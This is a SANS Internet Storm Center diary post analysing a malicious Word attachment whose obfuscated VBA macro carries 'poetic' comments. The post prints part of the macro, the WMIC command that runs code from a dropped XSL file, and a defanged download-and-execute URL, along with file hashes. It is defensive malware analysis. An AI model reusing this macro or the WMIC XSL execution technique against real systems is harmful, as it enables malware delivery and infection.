SANS ISC: Analysis of a strangely poetic malware

• SANS Site Network
  • Current Site
  • SANS Internet Storm Center
  • Other SANS Sites Help
  • Graduate Degree Programs
  • Security Training
  • Security Certification
  • Security Awareness Training
  • Penetration Testing
  • Industrial Control Systems
  • Cyber Defense Foundations
  • DFIR
  • Software Security
  • Government OnSite Training

SANS ISC InfoSec Forums

Although given its name, one might expect this diary to be about the Elk Cloner[1], that is not the case. The malware we will take a look at is recent and much simpler, yet still interesting in its own way.

Couple of days back, we received a request for analysis of a suspicious Word document from Edina, one of our readers. The DOC file was sent to Edina as an attachment of an e-mail, which contained the following text.

Good Afternoon!

Find the attached doc!
Don't hesitate to ask me any further questions.

zip pass 777

Sincerely,
Brett

Although the sender address was known to Edina, since she didn’t interact with the sender for a couple of years, she was rightly a bit paranoid about opening the attachment, named info_11_25.doc. Not wanting to risk her main computer, she tried opening the file on her spare Mac. What greeted her was a blue screen informing her about the need to “Enable content”.

After enabling macros, nothing happened on the Mac. At that point she tried opening the file on a Windows VM, where, after enabling macros, the system started – as Edina wrote to us – “really hogging its resources” and she decided to shut the VM down. Since the behavior of the macro seemed malicious, she wanted to know whether she didn’t compromise her Mac by running it there first.

Given the behavior of the macro, coupled with the fact that malspam uses the “blue screen” trick quite often, it was clear just from the description Edina provided that the file was indeed malicious. But to determine whether it could possibly have a negative impact on a computer running macOS an analysis of the code was in order.

After having a look at the file and dumping the macros (using oledump[2] and olevba[3]), it became clear that the VB code was not only obfuscated, but also contained a lot of nonsensical, yet, if put together, strangely poetic comments, as you may see bellow.

Lamentation supporting
Alcove goods
Informer tools
Biology advertisement significance aggregation
Lets hilarious batteries
Harbour inkjet durability
Spec mauritius bother
Part weblogs shoulder nite power
Google travail soot female
Hygiene affront
Seasonal sharp oc install
Clown
Animate introduction fighters summit ultimate
Career warble firemen
Pelt
Humans antechamber
Jean underworld acquiesce trees
Tart sluts sear
Viral
Linguist participate woeful
Gtk

Although this was not the first time I came across random-looking comments in a malicious code, I don’t think I’ve ever seen ones that reminded me of a poem (even though hardly a good one) before. Originally, the comments were of course spread throughout the macro code, as you may see from the following example of one of three modules (module aWy10) which the DOC contained.

Public Const awBvc5 As Long = 1363 - 1361
Public Const aou8S As String = "c"
Public Const aA3lc As String = ":\win"
Public Const aWoLue As String = "dow"
Public Const aoj7m As String = "s\te"
Public Const afvBj As String = "mp\"
Public Const aMjstx As String = "wm"
Function aQ8dA(ag3Bj9 As String)
Dim aJPgd
aJPgd = Exp(14)
' Lamentation supporting

Set afVdpU = New MSXML2.DOMDocument
Set aSogC8 = afVdpU.createElement("b64")
aSogC8.DataType = "bin.base64"
aSogC8.Text = ag3Bj9
aQ8dA = StrConv(aSogC8.nodeTypedValue, vbUnicode)
Dim aroh3
aroh3 = Exp(10)
' Alcove goods
End Function
Public Sub aXbKPq(aqkDUt, aqiy6, aulyo8)
Dim azkan As Long
Dim aQxSK As Document
Set aQxSK = ActiveDocument
azkan = aQxSK.ActiveWindow.Panes(1).Pages.Count
' Informer tools
aAP5al = aou8S & aA3lc & aWoLue & aoj7m & afvBj
Dim aSROvl
aSROvl = Hex(165)
Set aTcYj = CreateObject("Scripting.FileSystemObject")

Dim azqVKf As Long
azqVKf = ActiveDocument.BuiltinDocumentProperties(wdPropertyPages)
Dim asVSX
For asVSX = 12 To 52
Debug.Print Error(asVSX)
Next asVSX
' Biology advertisement significance aggregation
Set a96yXC = aTcYj.CreateTextFile(aAP5al & "\afUsm.xsl", 1)
Dim afQoN As Long
With ActiveDocument
afQoN = .ActiveWindow.Panes(1).Pages.Count
End With
With a96yXC

Dim ac1Ylj As Long
ac1Ylj = ActiveDocument.ActiveWindow.Panes(1).Pages.Count
' Lets hilarious batteries
.Write aqkDUt
.Close
End With
End Sub
Function aSuy8()
Set ajk7Y5 = New adIHY
aYsB6 = ajk7Y5.eatmy.Text
Dim aq0NgL As Long
Dim ajCsz2
aq0NgL = 8
ajCsz2 = 49
aZRShz = aq0NgL * ajCsz2
Dim aZPf2
aZPf2 = Fix(5)
' Harbour inkjet durability
aIHUC1 = ajk7Y5.shorts.Text

a4RZD = Not (a4RZD)
aSuy8 = aYsB6 & aIHUC1
End Function

After a little deobfuscation (parts of which you may try out yourself) it became obvious that the macro was supposed to create a XSL file ("c:\windows\temp\afUsm.xsl") and then execute code inside it using WMI.

"C:\Windows\System32\wbem\WMIC.exe" process list /format:"c:\windows\temp\afUsm.xsl"

XSL files (eXtensible Stylesheet Language) files are used to describe how XML contents are to be styled/displayed, which they may do using a script inside them. Although the use of XSL files in this manner by threat actors is nothing new[4], the technique is quite interesting and not as widely used nor as well-known as many others.

Based on contents of the macros, it was obvious that the Mac, which Edina originally used to open the Word document, wasn’t impacted in any negative way as the malicious code was Windows-specific. Even though determining this was the original objective, since the poetic XSL-and-WMI-using malware seemed interesting I decided to continue on with the analysis. Since I don’t like to spend too much time manually deobfuscating code, in order to determine contents of the XSL file dropped by the DOC file, I spun up a VM, let the macros run and took a look at the resulting afUsm.xsl file.

Although the JScript code inside afUsm.xsl was itself obfuscated, since the obfuscation relied mostly on inclusion of many unused variables and dead code, it was much easier to read than the VB code in the original DOC file. This time, the obfuscated code also contained no comments (which I felt was a bit of a let down). The code was supposed to download a file from the URL hxxp://oaskienerg.com/curoix/jotask.php?l=arlarr12.cab, save it as C:\Windows\Temp\aKEjT.exe and then run the resulting EXE file.

Since the URL mentioned above was unfortunately no longer working when I got to analyzing the malware, I can’t be sure what the final payload was, although given the 777 password, the name of the ZIP file and the behavior of the downloader in general, I feel quite confident it was a variant of Ursnif malware (see diary from Brad from yesterday[5] for more details).

info_11_25.doc
MD5 - 30cd9dae692890cd759069838decdc5e
SHA1 - 6c36b413d29cd0e0bab5239f35f4c19e5d98eb0c

afUsm.xsl
MD5 - a82a8840b2dbe8fa5ee9b88c2b58ce77
SHA1 - 774c3f773c4c68e94fa102408490e02bf98e614c

[1] https://en.wikipedia.org/wiki/Elk_Cloner
[2] https://blog.didierstevens.com/programs/oledump-py/
[3] https://github.com/decalage2/oletools/wiki/olevba
[4] https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
[5] https://isc.sans.edu/forums/diary/Ursnif+infection+with+Dridex/25566/

-----------
Jan Kopriva
@jk0pr
Alef Nula